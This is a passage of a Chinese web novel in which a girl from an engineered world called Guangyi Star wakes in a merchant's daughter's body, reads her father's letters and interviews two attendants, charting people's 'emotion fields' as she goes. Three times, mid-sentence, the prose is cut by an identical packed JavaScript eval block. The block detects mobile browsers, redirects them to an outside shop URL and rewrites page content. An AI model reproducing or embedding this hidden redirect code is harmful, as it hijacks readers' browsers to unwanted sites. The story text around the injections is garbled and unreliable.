昨晚大夫仔细交代过,小姐可能是因为受惊过度加上脑袋受伤,导致记忆受损,建议府上的人多拿些她以前印象深刻的东西,多讲些她印象深刻的事情,以帮助她恢复记忆。 辛圭听春茶这么说,只好穿上衣裙。 她是第一次被人服侍,原本是想自己来的,但这衣裙的穿法比光忆星一件标准校服都复杂得多,无奈只好作罢,但她仍然仔细观察,试图记住这衣服到底应当怎么穿。 “好看!”春茶梳好头发,很满意自己的杰作,夸赞道。 辛圭看着镜子里的自己,和在光忆星时几乎没变,眼睛、鼻子、下巴都一样,只是衣服变了发型变了,镜子后的一整个世界都变了。 她突然有一种好笑的错位感:好像有人把她从原本的故事里抠出来,随手贴进了另一本画风完全不同的书里。 这具身体,这里的人对这具身体的记忆…… 还没来得及深想,有仆人送来早饭,辛圭拿起一个包子咬了一口——舌头好疼!她险些差点当场吐出来,这里面是放了致死量的辣椒吧! 春茶在旁解释:“这是小姐你之前最喜欢吃的早点,菊姨天没亮就起来和面了。” 辛圭听了,红着眼眶微笑表示感谢:“谢谢。” 仆人见状内心鼓舞:这个法子有效!熟悉的记忆涌上心头,小姐感动到眼含热泪! 只有辛圭自己知道,这些泪水里大概有一半是被辣出来的。 【新世界饮食记录004:喜欢吃≠味道温和,可能以为着习惯了这种刺激。】 早饭尚未撤下去,福伯又急急忙忙送来一个包裹,说是今早收到了老爷的来信。 老爷? 小姐——老爷。 辛圭明白了,自己是小姐,老爷指的就是自己在这里的爸爸。既然是有信来,那证明老爷最近不在家中。 她打开包裹,和自己想象中的信不太一样,并非薄薄几张纸放在信封里,而是一大叠。信纸有轻微的药香,像是某个人不小心把自己的痕迹留在了字间。 辛圭一封封拆开—— 信件一:吾女成圭即将十八岁,可惜父亲身子抱恙耽误路程,不能与成圭共同庆生。 信件二:为父路过清石县,风景秀丽。不愧是当今圣上,治国有方。 信件三:为父途经海渊镇,民风淳朴。不愧是当今圣上,任人唯能,官吏上行下效清正廉明,百姓安居乐业。 …… 信件十八:有一长随告病返家,成圭在京可帮为父寻觅一名合适长随,不求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815813|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他,只需为人老实诚恳,通文识字,略懂拳脚最好。 辛圭一封封看过来,有几封是在表达自己对女儿的思念和愧疚,有几封提到自己家中的商行叫成记行,剩下的若说是游记,不如说是给当今圣上的赞美书。 怎么说呢,有点像传说中的脑残粉。 辛圭摩挲纸张,她觉得奇怪,这些词语在光忆星几乎已经不用了,但她却能看懂,甚至连礼制、地名、官职都认识。 是这具身体之前的记忆吗? 她抬起头:“张妈。” “诶,姑娘。” “你们知道我这十八年里发生的事吗?”她不知道自己想确认什么,又或是想搞明白什么。 张妈眼眶红得更厉害:“姑娘是咱们李府和成记行的姑娘,娘生下你就没了,爹又常年在外行商,你打小就一个人待在府里。也可能周围都是我们这些老头老太太,没个远亲近邻的,姑娘不爱出门,也不爱和别人玩。但姑娘心是好的,只是可怜。姑娘打小就不爱哭,也不闹,特别乖,有一次……” 张妈絮絮叨叨,辛圭安静地听。 张妈说的以前的李成圭,她并不认识,而他们也确实拥有彼此的记忆。 但张妈所形容的这个李成圭,她太稳定了,像一个光忆星的人,辛圭突然间就觉得有点别扭。 她在上学的时候听过“异世界观察计划”的课,那些被投放到其他世界的观察员们,并不是凭空掉下去,而是去接管一个早就被准备好的身体,一个从出生前就被光忆星系统设定好的、没有灵魂的“空茧”。 “空茧”造价极高,正常人更是一辈子都见不到一具。 她可从没听说自己这样被丢出来的人会有这种待遇。 但如果不是“空茧”,那这些热情的招呼、李府里关切的目光和问候,都应该是原本这具身体的,而不应该是连他们的名字都不知道的自己的。 她抬手捂住胸口,心跳的太快,在光忆星者会被判为“不稳定”“数值异常”。 于是,她下意识模仿着智脑,在心里对自己说道:“请深呼吸三次,调整心率,重复提示语:保持稳定。” 辛圭低头看那些信,又看着眼眶红红的张妈和春茶:“稳定一点,你不知道如果你被再次清除,这具身体会发生什么。” “稳定一点,我不能再被清除一次。”她在心里对自己说。 胸口的跃动逐渐缓下来。 这么想着,辛圭将所有信收好,向收起了一份临时的任务说明书,站起身来问:“成记行远吗?” “不远。”春茶答道:“小姐这就要去行里吗?” “嗯。”辛圭深吸一口气,没有了智脑的行程提醒,她觉得自己像没头苍蝇似的,不知道该往哪儿飞。好不容易让她在信里发现了一个类似任务的东西,只有去做,她才能暂时不去想那些“我到底是谁”的问题。 “对了,府里有没有糖?小孩子喜欢吃的那种。”她突然想起什么,问道。 春茶愣了一下:“有啊,菊姨会做桂花糖和山楂糕。小姐想吃那种?” “都拿一点吧。”辛圭想起昨晚那块小小的“月亮”,认真说道:“有时候,我觉得糖比药有用。” 5. 第 5 章 实验手册·新世界观察版 确如春茶所说,成记行与李府几乎是连着的。由李府的前门走出去,再走过一条小巷,便是成记行的后门。 只是这路途虽短,却热的人心头发慌,天地像个大蒸笼,知了声像煮开冒泡的水。路上行人也少,想必是怕热,都藏在阴凉地里不愿出门。 【实验手册·新世界版草稿更改为环境记录 4.高温+高噪音(知了)=户外人类密度降低。 推测:极端天气会驱散部分社会活动。】 春茶:“姑娘今天精神真好。” 辛圭找了个理由:“因为昨晚睡得很好。” 这是【稳定人格维护手册·家庭版第3条:如无合理原因,请优先使用“睡得很好”来回应早晨的问候。】 春茶有点小骄傲:“那当然,姑娘的床榻可是我精心挑选铺好的!姑娘以前也说过,很适合平稳入眠。” 平稳入睡? 光忆星的睡眠就是系统设定的平稳入眠。 可自己昨晚的感觉不同,像是某种属于自然而然的需求和反应。累了-眼皮重-关机。 她悄悄记下,【新世界感官记录002:睡意=一种温柔却不可抗拒的引力。】 一进成记行,率先迎上来的是比李府更为浓郁的木头香气,伙计们迎着烈日穿着短打在院子里搬货,也分不清是额上还是脖颈上往外渗,总之到处都是汗津津的。 几个伙计扛着货物路过,见到她点头打招呼:“成圭姑娘,春茶。” 往前走,有穿着长袍的男子急匆匆跑进来,嘴里喊着:“沉香!上个月新来的那批,周员外派人来取了。”看见辛圭后赶忙行礼:“姑娘来了。” 再往前走就进了屋子,耳边响起噼里啪啦响的算盘声。 “姑娘来啦。姑娘吃过饭了吗?姑娘今日气色好。”耳边的招呼声不绝于耳,热热闹闹的。 辛圭一路都很安静,不是害怕,而是注意力全用在了周围。 屋子里、院子里、树荫下,那些好像是噪音的东西,如潮水般从四面八方涌来。 她挨个分辨。 杂乱、温热、浓稠、轻薄、被风吹起的、被日光晒枯萎的……好像是在提醒她到了一个完全未知的世界,也好像是在热烈的欢迎她。 好混乱。 辛圭决定给这些东西取一个只有自己知道的名字,这样才好分类放进自己的脑袋里。 【实验手册·新世界噪音观测版v1.1 统称:噪音流。 备注:可能和人类行为有关。待验证。】 成记行的吴掌柜闻讯赶来,拿了凳子给辛圭坐下:“姑娘感觉身子怎么样了?” 辛圭笑笑,又觉得自己的笑容和艾古的笑太像了些,就试着将嘴角扯大一点,回道:“好多了。幸好天气没那么凉,睡一觉喝了些药,感觉好多了。谢谢……” 她看着吴掌柜,不知道该怎么称呼。 吴掌柜一早就听福伯开过会了,顿时心领神会:“小的是成记行的掌柜,吴长盘,您以前都叫我老吴、吴叔。” “吴叔。对不住,我……” “没事没事。”吴掌柜根本不把这放在心上,反而问道:“姑娘今天要看账本吗?” “账本?好啊。” 辛圭说完,看见吴掌柜的眉头微微皱了一下。 【表情判断公式·初版:皱眉=生气】 那自己是不是不应该看账本? “吴叔,我刚刚想起来有事情,账本先不看了。”果然,她这么说完,吴掌柜的表情恢复如初。 【实验记录:撤销看账本后,对方眉头舒展。 暂定结论:皱眉=不希望我看账本。】 “昨日多亏了成记行的一名伙计,我才能平安到家。昨日走得急,忘记道谢,我想先和他说声谢谢。他叫阿钱,不知道在不在。”辛圭说道。 “啊?”她的发言好像出乎吴掌柜的意料,吴掌柜有一瞬间的怔神,随即说道:“姑娘不必挂心,昨晚福伯已经谢过了。” “可是被帮助的不是福伯呀。”辛圭歪了下头,很认真地指出逻辑问题。 “啪”的一声,好像是木头被烧裂的声音,是吴掌柜那边涌出来的“噪音”。 【噪音样本003:类似干柴入火,“啪”一声炸开,随后持续燃烧。 来源:吴掌柜。 状态:不知道什么意思,但感觉有点暖。】 吴掌柜点了点头,走到后院吩咐了两句,没一会儿阿钱就急匆匆跑来:“掌柜,小姐。” “昨晚谢谢你。”辛圭从自己随身携带的小口袋里掏出那包糖,递过去:“这是给小娃娃的,谢谢她安慰我,也谢谢奶奶。” “小孩子什么都不懂,姑娘别往心里去。”阿钱在裤子上擦了擦手,不好意思地接过来:“姑娘客气了。” “哪有。”辛圭认真地说:“她很好,做得好就要夸夸她,不要替她推辞。” 【人际记录008: 事件:本人被帮助。 常规做法:监护人代表回应,并带有贬低帮助者的词语。 个人偏好:就此事进行夸赞,感觉会更符合逻辑。】 谢过阿钱后,辛圭转头看向吴掌柜。 吴掌柜的表情很复杂,辛圭看不明白,为了让一切恢复到自己能理解的状态,她再次提出:“吴叔,看账本吗?” 按照刚才那条观察记录,吴掌柜应该会继续皱眉。可这一次,吴掌柜的表情并没有按照她预想的发展,而是扬起了眉,笑着说:“好。” 耳边木头被烧裂的声音愈发频繁,连鼻尖都都萦绕着淡淡的柴火味。 辛圭努力把多余的噪音按压剔除,从中辨认出更为柔软可识别的东西。 啊,是在烧柴啊,有暖洋洋的感觉。 趁着吴掌柜去拿账本的时候,春茶凑到辛圭身旁:“吴掌柜就是这样的,别看一脸严肃,但他其实很关心小姐。” 关心? “刚才明明是他问我看不看账本,为什么要皱眉?”辛圭不明白。 “皱眉?”春茶想了想,说道:“我想是因为小姐每次来成记行,吴掌柜都会例行问这么一句。但小姐要么是找个借口搪塞过去,要么是坐在账本前发呆。吴掌柜可能觉得这次小姐也不会看账本,他是在替小姐着急呢。” 辛圭默默记下:【样本003·吴掌柜 外观:严肃脸。 噪音:烧柴火。 第三方解读:=关心+着急。 结论:皱眉≠生气,皱眉=着急。公式需要修正。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815814|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她突然灵光一闪,找到了这些“噪音”的共同点。 着急、关心,这些在光忆星的教材里都有一个名字:情绪。 把自己搞得稀里糊涂的,也是情绪。 而这些情绪,不只是“有”或者“没有”,它们好像有形状、有重量、有流动方式。 要不,就叫它们——情绪场吧! 【实验手册·新世界观察版v2.0 名词更新:噪音流更换为情绪场。 暂定定义:围绕在每个人身边、会流向他人、强度随心绪变化的虚形场域。 备注:不同个体的情绪场“长相”不同,例如:张妈=碎石滑坡,吴掌柜=烧柴火。 待继续采样。】 吴掌柜拿来的账本纸张有些粗糙,手摸上去会泛起一片沙沙的细响,墨水的馨香随着翻动涌出。辛圭深深吸了一口气——光忆星早已经没有了纸笔,这些都只是书里提到的内容,她只是幻想过…… 辛圭突然停住,自己曾经幻想过笔墨的味道吗? 她翻看账本,上面写的字儿她都认识,但合在一起却让人稀里糊涂,完全不知所云。她下意识伸手划重点,却猛然意识到已经没有了在光忆星所使用的那套“标注工具”。 “这里……”她翻了半天,突然看到一页上画了好几个红圈,里面写着:拖欠款项、思交镇货款未清。 吴掌柜看了一眼,解释道:“嗨,就是这个思交镇,次次去催,次次不给,拖了老久,导致咱们自己的周转都有点捉襟见肘。原本是念在他们是老相识了,等老爷回来,肯定要定个大法子。” 看来经商也不是一件平稳的事情,怪不得要略通拳脚的长随。辛圭想起父亲的要求:“父亲来信,说要招一名长随。” “老爷对长随有何要求?”吴掌柜端出笔墨纸砚,问道。 看着那些资料当中才会出现的笔墨,辛圭心里有些发痒:“我能自己写吗?” “当然。”吴掌柜立刻应下,将笔递给辛圭:“既然是托给小姐的,这事儿就得小姐亲自相看。老爷可有什么要求?” 辛圭提笔蘸墨,可能是托这具身体的福,她虽然动作缓慢,但好像知道该怎么做。开头两个字还有写的颤颤巍巍,后面就逐渐平稳下来。 吴掌柜在旁看着,夸赞道:“姑娘何时练的字?规整清楚,是写账的好材料。” 辛圭被夸得有点不好意思,她觉得自己是托这具身体的福,因为她会写字,所以自己也会写字。 【身份记录010:这具身体的能力=前任成圭的积累。 现使用者=我。 结论:我和成圭目前共享身体+技能树。边界不明。】 吴掌柜在纸背抹了浆糊,拿到大门外张贴。 看着在烈日灼烤下空无一人的街道,辛圭难免有些期待有些忐忑。这算是自己来到这个世界后做的第一个任务,不知道会不会顺利。 可下一秒钟,这份忐忑就化成了泡影。 一个看起来根本不像长随的男人站在告示前,仔细端看,似乎在犹豫。 辛圭:这也太快了吧?! 【任务记录002:公告张贴-候选人出现耗时=一个眨眼。 推测:这个人好像一直站在边上,等着这张纸出现。】 6. 第 6 章 事实上,温麟趾已经在门外阴影处站了近一上午,忍耐着毒辣炙热的太阳烤晒,这才等到这封告示张贴出来。 不能说是老实,而是他行事向来如此。 早到、早准备、稳妥,周全。 否则若是有人更早看见这个告示,被录用了,他如何向德明帝交代? 温麟趾理了理衣裳——当然也是特意准备,突出一个“显得有文化但又不扎眼”,不疾不徐地走上前打量那纸告示——字迹规整,纸上虽没有辅助线,但若是拿出卡尺来,恐怕每个字都能妥善居中,规规矩矩,绝不出格。 温麟趾在心里肯定了这个笔迹,商行就是要稳妥,如此可见德明帝所挑选的这名掌柜颇负其资。 “你……要应聘吗?”成记行门内突然探出一个小脑袋。 是个略显稚嫩的年轻女孩,眼睛很黑很亮,显得目光清澈,只不过有些红肿。额角敷了一小角伤布,嘴角向上翘着,像……温麟趾脑海中浮现出小白猫的模样。 温麟趾的循环记忆中有李成圭的虚像,他立刻认出这个有些怯生生的小姑娘就是李成圭。只是与他刻板印象中的那位公主殿下太不相称。 之前的那位要更瘦些,加上繁复的打扮,人就显得艳丽,可眼前这个却太正常、太像被养在闺阁中不谙世事的小姐了。 “是。”温麟趾颔首点头。 “那跟我走吧。”辛圭侧身走出。 温麟趾的眼睛瞬间被闪的有点痛。那张怯生生的清秀面庞下是一身亮紫红色的衣裙,整个成记行都在这抹颜色下暗淡消退了。 辛圭见他盯着自己的衣服,立刻把春茶那套话搬来:“这个颜色我很喜欢,是淮南的特产,京城中没有几户人家有的。” 她说完,很认真地在心里记了一句:【新世界人际记录009:别人盯着你看时,可以用“夸自己衣服+甩出稀缺信息”来填补空白。】 衣服的模样和她的发言,成功地让温麟趾将眼前人和记忆里的跋扈公主合为一体了。 没走几步,成记行门外又响起一声招呼:“你们在招人?” 两人回头看去,只见一个衣着同款亮紫红色的青年站在门口,见他们回头,挥了挥手。 辛圭看了看身边的男子,又看了看门口的少年,两人应当年纪差不了多少,但给人的感觉却截然相反。 身边这位,眉眼重得似墨,身姿挺拔,虽然衣着朴素,但打理的干干净净一丝不乱,不苟言笑的样子。 辛圭想起自己想要判定不同人身上的情绪场表现是否不同,于是在他的身上进行尝试。 他身上很安静,倘若不仔细分辨,辛圭甚至无法感知到他的情绪场。 但如果一定要说的话,或许是极深的静,像夜色下的潭水,或者,像冬日巍峨的山。 【情绪场记录·样本004: 对象:应聘者一号 表象:冷静、沉稳。 情绪场形态:深潭+冬山。波动率极低。 备注:像是把所有东西都压在水面之下。】 “姑娘。”温麟趾出声提醒。 辛圭这才觉察自己盯着他看了很久,连忙轻咳一声,将目光移向另一位。 门口那位,侧扬着头,一双眼睛大且明亮,瞳仁的颜色偏淡,意气风发里带着满满的自信,嘴角扬得好看。 情绪场很好辨认,飞得高高的,是像颗小太阳的星星,耀眼。 当看清楚辛圭后,光芒“呼”地一声跃高,她忍不住后退半步。 【情绪场记录·样本005: 对象:应聘者二号 表象:笑得很好看。 情绪场形态:跳跃的小星星,亮度高。 补充:亮度会激增,自信?待验证。】 他见状好奇问道:“我看起来很可怕吗?” 辛圭诚实回答:“你太亮了。” “啊?” 春茶在旁忍住笑:“姑娘说你看起来像不干正事儿的少爷。” 他连连说道:“冤枉冤枉,我可实在是靠谱的不能再靠谱了。” 温麟趾在旁清清嗓子,说道:“已经招到了。” 青年指着门口的告示:“这不是还贴在这儿呢吗?” 温麟趾走过去,将告示揭下折起,重复:“已经招到了。” 青年自我推销:“我肯定比那个人好,这上面说的每一条我都符合的不能再符合了,简直是为我量身定做。” 辛圭一听,连忙说道:“一起进来吧。” 青年笑了:“就知道你有眼光。” 往里走的路上,他凑到辛圭身边,塞了块糖过去。 “给我的?”辛圭问。 “嗯。”他点头,重申道:“我真的真的很靠谱。” 温麟趾瞥了一眼两人的小动作,清了清嗓子:“此举可算是考前贿赂。” “什么贿赂?”青年瞪了温麟趾一眼:“一颗糖而已,你没看出来我和这位姑娘有缘吗?我们穿着同色系的衣服哎,这可是淮南的特产,很少有人这么有眼光的。” 说罢,他又转头对辛圭说:“没那么腻,你尝尝。” “谢谢。”辛圭将糖妥善放进自己的小口袋里。 辛圭走进房间,吴掌柜迎上来:“贴好了?最近天热,来的人要么赶早要么赶晚。姑娘可以先去歇息,要是有人来了我再差人去请姑娘。” 说罢,他看到跟在辛圭身后的两个人,陷入了短暂的沉默——哈,是什么意思?觉得老吴我年老色衰了,还是我们成记行要以色服人了? “那……咱们就开始啦?”辛圭坐到桌前,示意两人坐到对面。 她在心里迅速列出一行字:【新世界生存实验手册·附录:成记行长随选拔测评问卷(试运行版)】,然后,正式开口:“姓名?” 温麟趾:“温子修。” 少年:“方启星。” 方启星转头看向温麟趾,瞪大眼睛:“原来你也是来应工的!怪不得刚才那么紧张,还把告示撕下来。” 温麟趾没理他,认真等待下一个问题。 辛圭点了点头:“第一题,说说你们为什么要来成记行。” 【问题1:动机测评。对应光忆星职业测评问卷·第2条。】 温麟趾已经在心里模拟演练过无数次,胸有成竹:“之前读过几年书,家道中落,想找一份安稳活计。” 方启星:“我就是恰巧路过看见了,觉得这个活很适合我,我也很适合这个活。” 吴掌柜生怕自家小姐被人欺骗,在旁补充,仔细询问温麟趾的具体情况,读过几年书?为何读书?老家在哪儿?为何来京?家道如何中落?家中还有几人? 轮到方启星的时候,他没等吴掌柜问,自主答道:“我家不在京城,我是来我爹朋友家串门,本来想让他帮忙找份稳定工,但那环境太差了,大家都有八百个心眼子,一句话得掰扯揉开碾碎了品,我不擅长,我还想多活几年。” 【记录: 样本004·温子修:回答完整、信息量充足。 样本005·方启星:信息量更足,还自带评论。 备注:两人都强调“活下去”。】 “第二题,你们都练过拳脚?” 温麟趾:“略通。” 方启星:“一个打三个应该没问题。” 温麟趾总觉得这个方启星眼熟,却怎么也想不起来。 辛圭先问温麟趾:“你不是读书人吗?为什么要练拳脚?” 温麟趾答道:“为了防身。” 辛圭想起父亲的信,疑惑道:“防身?可是当今圣上英明神武,百姓安居乐业,四海升平,何处需要防身?” 温麟趾脑中警铃大作,没想到这姑娘看上去不谙世事,却挖了个好大的坑给自己跳。若说是老家乱,岂不是在数落埋怨圣上?若说不乱,那防身这理由便是自己在撒谎。 他不擅长编故事,只得将自己循环中所遇到的事讲出来:“我小时候被顽皮同乡欺负,这才学些拳脚。” 那是一个小兵,跟着他一起,也死在了定安五年的秋。 “我家里让学的。”方启星为自己补充。 辛圭点了点头:“第三题,你们抗压能力怎么样?” 抗压?温麟趾没听过这个词,想着可能是商行用语,可惜自己在循环中竟从未和商行深交,他只能试探着回道:“我力气很大,可以搬很重的货物。如果必须,我也能多抗些。” 方启星摆了摆手:“我不擅长体力活。” 辛圭记下:【样本004:把抗压理解为搬货。样本005:诚实承认自己不行。 结论:术语需要翻译成本地语言使用。】 “第四题,你们对稳定的生活有什么看法?” 脱口而出的题目使辛圭自己愣住。 稳定这个词,她怎么会想问这个? 也许因为她需要它,也许因为她刚刚被清除? 另外两人不知她内心已经翻江倒海,温麟趾听着这些越发稀奇古怪的题目,还在拆解题意,方启星便率先回答:“我目前不太喜欢稳定的生活,还年轻,多跑跑多动动多见见世面。” 温麟趾脑海中闪过那一段段一次次不稳定的循环,声音有些暗哑:“我当然喜欢稳定的生活。姑娘难道不喜欢?” 他看着辛圭,想到她之后可能遭遇的种种,觉得这个题目真是讽刺。 辛圭的目光和他接触,那片深井般的情绪场突然有了一瞬间的波动,像是突然有人在深水里睁开眼睛,盯着她。 被反问的辛圭心口一跳——【警告:心率上升。】 她下意识在心里默念:“请深呼吸三次,调整心率,重复关键词:保持稳定。” 她没有回答,而是清了清嗓子,很快换了话题:“第五题,当你与上级意见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815815|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不一致的时候,会怎么处理?” 温麟趾的第一反应是:将在外,军令有所不受。 不行,不能这么回答,刚才那道题自己已经越矩了。 他正容:“非原则性问题,我会服从。如果涉及成记行的利益,我希望能和更上一级沟通。” 方启星:“看到底是什么事,总不能让我去以色侍人搏生意,我也得去吧。” 吴掌柜剐了他一眼:“我们成记行没有这样的传统。” “第六题,你们平日都有什么兴趣爱好?” 温麟趾:闻鸡练武、打磨宝剑、在循环中寻找突破。 但落在嘴上,就变成了:“读书。” 方启星:“养狗养鸟。”说到小动物,他不无遗憾地对辛圭说:“可惜这里是京城,要是在我家,非得带出来给你们看看。” 辛圭眼睛一亮:“是真的小狗吗?” 方启星:“当然。” “小狗是不是摸起来毛茸茸的?” 这次轮到方启星惊异了,“你不会没见过活的狗吧?狗当然是软乎乎毛茸茸的。” 辛圭停顿,她想起光忆星,为了呵护她的写作,系统将她的窗外风景调节的很美,深蓝色的夜空深邃通透,月亮皎洁,群星璀璨,偶尔有一颗流星划过天际,拖出长长的尾翼。辽远的草随风摇曳。 在她小时候,曾经看到草丛里有一只很爱的小狗,它探出脑袋和辛圭对视,又埋下头钻进草丛,尾巴扫出草的涟漪。 她试着和小狗打招呼做朋友,但第二天那只小狗就不见了,取而代之的是一只小刺猬。 当然,小刺猬也很可爱,但它和小狗都再也没有出现过。因为它们只是系统展示出来的、一副会动的话,不会回应,更不会和你产生联结。 “我老家有几匹马,脚程很快。”温子修的声音突然打断了她的思绪。 方启星嗤笑道:“马的毛怎么能和狗比?” “第七题,假如出行遇到危险,你们会怎么做?” 温麟趾沉声:“首先判断危险来源,再行动。如果姑娘有危险,我不会让它发生第二次。” 方启星:“如果是姑娘,我当然义无反顾义不容辞地冲上去!” 辛圭抬头。温麟趾的目光深的不像在人间。 “怎么都预设是和我出行呢,是和商行出行。”辛圭纠正道。 “最后一个问题”,辛圭掏出一本账本,是成记行多年前的无用副本,“你们能用简单易懂的话解释账本上的问题吗?” “可以试试。” “这个我擅长,我偶尔会帮家里打理账本。”方启星粗略翻了下账本,很快便指出一笔算错的小地方。吴掌柜的眉头挑起,这处虽然在正本中已经更改过,但也是好几个账房先生都没发现的细小之处,这个人却能一眼看出,怎么都不像“偶尔”替家里打理账本。 辛圭指着上面的一个词,问道:“这是什么意思?” 方启星:“坏账的意思是收不回来的钱。” “这个呢?” “存货跌价准备,存货现在卖出去也收不回本。” 辛圭一连问了十几个她不明白的词,对方的解释简短明了,让她感觉自己又可以了。 【知识记录001:新世界专业词汇可以通过挨个询问的方式理解。 备注:方启星解释速度>平均值。】 只是……她又打量这两个人,一个稳妥,一个机灵;一个诚恳,一个会看账本,可是父亲的信只提到要一名长随。 她求助似的看向吴掌柜,吴掌柜笑道:“老爷交代小姐的事儿,小姐得自己拿主意。” 倒不是推脱,而是吴掌柜看出这显然是老爷有心让小姐历练历练,至于结果,并非那么重要。 一个。只能留一个。 辛圭咬住下唇。 光忆星的选择向来是单选题,固定好的答案才会带来稳定。 但如果不是只能留一个呢? 辛圭猛地抬头,快速说道:“要不——都留下吧!” 她说得很快,像是怕来不及说出口,又像是怕被拒绝。 房间里安静了半息。 辛圭转向吴掌柜,小声但坚定地说道:“一个是给父亲的长随,一个……算是我的,他的薪劳我来付。” 吴掌柜怔了一瞬,随即眼睛笑得都弯了。 “小姐做主。” 辛圭深吸一口气,真正的原因只有她自己知道。 那颗星星让她听见了生命的跃动,井水让她听见了静谧,她想继续听,继续学。 所以,两种声音她都要留下来。 【实验手册·新世界决策记录001: 问题:只能留一个人还是留两人? 既然我想听两种不同的情绪场,那就——修改题目本身。 结论:允许自己从“标准答案题目”变成“自定义题目”。】 7. 第 7 章 辛圭很开心,她觉得自己运气真好,不仅顺利地招到了两位长随,还成功摸到了这个世界的一点点边角料。 虽然还是糊里糊涂,但那些原本把她吵得头疼的东西,已经有了自己的名字——情绪场。而且目前来看,每个人的情绪场似乎长得都不一样。 她又有了动力,想要获取更多的信息。 这么想着,她的声音也雀跃了起来:“那我就先将他们留在这儿,麻烦吴叔啦。” “麻烦什么,都是分内事儿。”吴掌柜给人暖洋洋的感觉,柴火烧得更旺。 辛圭向吴掌柜告辞,这才和春茶往回走。 她们俩一走,吴掌柜就换了张严肃冷脸,对温麟趾和方启星毫不客气:“先跟我去签合同。丑话说在前头,别动歪心思,成记行也不是刚成立的小铺子。我管你是有什么悲惨过往,还是……”他瞥了方启星一眼,这身衣服还真是扎眼啊,“还是哪家的少爷。” 李府门口,福伯和张妈垫着脚,朝成记行的方向不住张望。 正午的阳光愈发毒辣,像根根微刺,轻飘飘地落在露在外面的皮肤上,等到回过神,却已经又红又疼。 “去了这么久,怎么还没回来?”张妈将手绢挡在头顶,皱纹里夹了汗,“这么热的天,昨天又受了惊。” “老吴平时说话就不好听,”福伯抹了把汗:“要不我去看看。” “你快去。”张妈催促道:“早就和老吴说了,姑娘还小,又从小没爹管没娘疼的,别说那么重的话,看账本什么的慢慢教就是了。” “老吴也是心急。”福伯呼了口热气:“就算不会看账本又能怎么样呢?大不了招个上门女婿帮着管就是了。” “胡说什么呢。”张妈瞪了福伯一眼:“上门女婿万一动了坏心,到时候咱们都老了没了,姑娘一个人可怎么办?” 福伯抿了下嘴唇,心里想着,哪里有公主的上门女婿敢动坏心啊,那不是嫌命长吗? “那个,是不是姑娘?”张妈突然问道。 小巷尽头出现了两个人的身影。砖路被阳光熨烫,使人眼花,人影和周围的墙都轻微的扭曲,看不清面目。 “是姑娘。”福伯肯定地说道:“那身衣服太显眼了。” 张妈早就一个箭步冲上去了,手绢也顾不上,随手塞在怀中。 “姑娘,”张妈停在辛圭面前,先仔细看神色,是微笑的,又看了眼春茶,春茶冲她点了下头,张妈悬着的心这才放下。“身子有没有觉得不舒服?” 辛圭被张妈的情绪场冲地摇了摇头:“就是热,其他的都好。” “没事儿没事儿,这天气热,长随慢慢来,哪有第一天就能招到的呢?”张妈迎着辛圭往李府走,见自家姑娘长大了,愿意担事儿了,但又怕她因为不顺利而沮丧,安慰道。 辛圭展露出一个大大的笑容:“招到啦。还不是一个,是两个!” “啊?” 春茶点头:“还是小姐自己写的文书呢!”她学着辛圭的样子,说道:“你与上级意见不一致的时候,会怎么处理?你们的兴趣爱好是什么?你们对稳定的生活有何看法?” 张妈听了连连感叹:“咱们姑娘还是有两下子,就这几个问题,我都一时答不上来。” 福伯毕竟在宫里当过很长时间的内侍,称赞的就更为细节:“看上去只是随意发问,但实际上却是在对方放松警惕的时候,套出他的真实想法。虎父无犬女啊。” 春茶骄傲的样子像被夸的是自己:“小姐可厉害着呢!” 张妈又把手绢掏出来,糊里糊涂地抹了几下眼睛:“太热了太热了,姑娘咱们回去吃凉糕,厨房早就备好了。” 张妈身上此刻的情绪场像扬起了尘土,辛圭迷惑,这又是什么? 她的目光落在了巷子口的那棵柿子树上,即便是如此炎热的天气,在应该的季节,柿子树也努力地结出了几颗小柿子,只不过都很小,看上去也干巴巴的,不太健康。 啊!她想到了。 张妈现在的情绪场就像是柿子落在地上,土地上被扬起的尘土。 猛地一下。尘土不是因为土地自己,而是因为那颗掉下来的柿子。 碎石也好,尘土也好,都不是因为张妈,而是因为“姑娘”这颗柿子。 【情绪场记录·样本002补充: 形态二:扬尘。 触发条件:涉及“姑娘”的事。 结论:人的情绪场,很多时候不是因为自己,而是因为他人。】 “姑娘,”张妈靠前几步,回头招呼辛圭,又顺着她的目光看向那棵柿子树,笑着说:“一会儿让他们打点水来浇浇这棵树,姑娘以前也喜欢吃柿子的。” 午饭的时候,张妈、春茶、菊姨、福伯四个人围在她身边打转,有人问她头还疼不疼,有人问她要不要再喝一碗汤,有人问她要不要再放点辣椒。 辛圭被问得有点懵。 